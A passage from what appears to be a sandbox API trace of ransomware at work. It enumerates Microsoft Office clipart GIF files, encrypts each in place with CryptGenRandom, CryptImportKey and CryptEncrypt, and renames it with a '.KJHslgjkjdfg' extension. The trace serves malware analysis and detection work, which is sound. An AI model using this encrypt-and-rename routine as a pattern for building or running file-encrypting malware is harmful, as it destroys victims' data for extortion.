Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.kjhslgjkjdfg")) returned 1 [0153.511] CloseHandle (hObject=0x114) returned 1 [0153.512] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0153.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.513] GetProcessHeap () returned 0x2a0000 [0153.513] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.513] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.513] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0153.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.516] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.516] GetProcessHeap () returned 0x2a0000 [0153.516] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.516] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.516] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.516] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.516] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.516] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.516] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.516] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.517] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.517] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x319e, lpOverlapped=0x0) returned 1 [0153.518] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31a0, dwBufLen=0x31a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31a0) returned 1 [0153.518] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.518] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31a0, lpOverlapped=0x0) returned 1 [0153.518] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.518] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.518] SetEndOfFile (hFile=0x114) returned 1 [0153.521] GetProcessHeap () returned 0x2a0000 [0153.521] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.521] GetProcessHeap () returned 0x2a0000 [0153.521] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.kjhslgjkjdfg")) returned 1 [0153.522] CloseHandle (hObject=0x114) returned 1 [0153.522] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0153.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.523] GetProcessHeap () returned 0x2a0000 [0153.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.523] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.525] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.526] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.526] GetProcessHeap () returned 0x2a0000 [0153.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.526] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.526] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.526] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.526] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.526] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.526] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.526] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.526] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.526] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.526] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd9c, lpOverlapped=0x0) returned 1 [0153.527] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xda0, dwBufLen=0xda0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xda0) returned 1 [0153.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.527] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xda0, lpOverlapped=0x0) returned 1 [0153.527] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.527] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.527] SetEndOfFile (hFile=0x114) returned 1 [0153.530] GetProcessHeap () returned 0x2a0000 [0153.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.530] GetProcessHeap () returned 0x2a0000 [0153.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.530] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.kjhslgjkjdfg")) returned 1 [0153.531] CloseHandle (hObject=0x114) returned 1 [0153.531] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0153.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.532] GetProcessHeap () returned 0x2a0000 [0153.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.532] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.532] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.532] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0153.535] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.535] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.535] GetProcessHeap () returned 0x2a0000 [0153.535] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.535] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.535] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.535] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.535] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.535] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.535] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.535] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.536] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.536] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.536] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc44, lpOverlapped=0x0) returned 1 [0153.536] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc50, dwBufLen=0xc50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc50) returned 1 [0153.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.536] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc50, lpOverlapped=0x0) returned 1 [0153.536] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.536] SetEndOfFile (hFile=0x114) returned 1 [0153.539] GetProcessHeap () returned 0x2a0000 [0153.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.539] GetProcessHeap () returned 0x2a0000 [0153.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.kjhslgjkjdfg")) returned 1 [0153.540] CloseHandle (hObject=0x114) returned 1 [0153.541] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0153.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.541] GetProcessHeap () returned 0x2a0000 [0153.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.541] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0153.541] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0153.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.544] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.544] GetProcessHeap () returned 0x2a0000 [0153.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.544] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0153.544] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.544] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0153.544] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0153.544] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0153.544] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0153.544] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0153.545] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0153.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0153.545] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.545] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.545] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30c2, lpOverlapped=0x0) returned 1 [0153.546] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30d0) returned 1 [0153.546] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.546] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30d0, lpOverlapped=0x0) returned 1 [0153.546] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0153.546] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.547] SetEndOfFile (hFile=0x114) returned 1 [0153.549] GetProcessHeap () returned 0x2a0000 [0153.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.549] GetProcessHeap () returned 0x2a0000 [0153.549] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.kjhslgjkjdfg")) returned 1 [0153.551] CloseHandle (hObject=0x114) returned 1 [0153.551] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0153.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0153.551] GetProcessHeap () returned 0x2a0000 [0153.551] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0153.552] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, 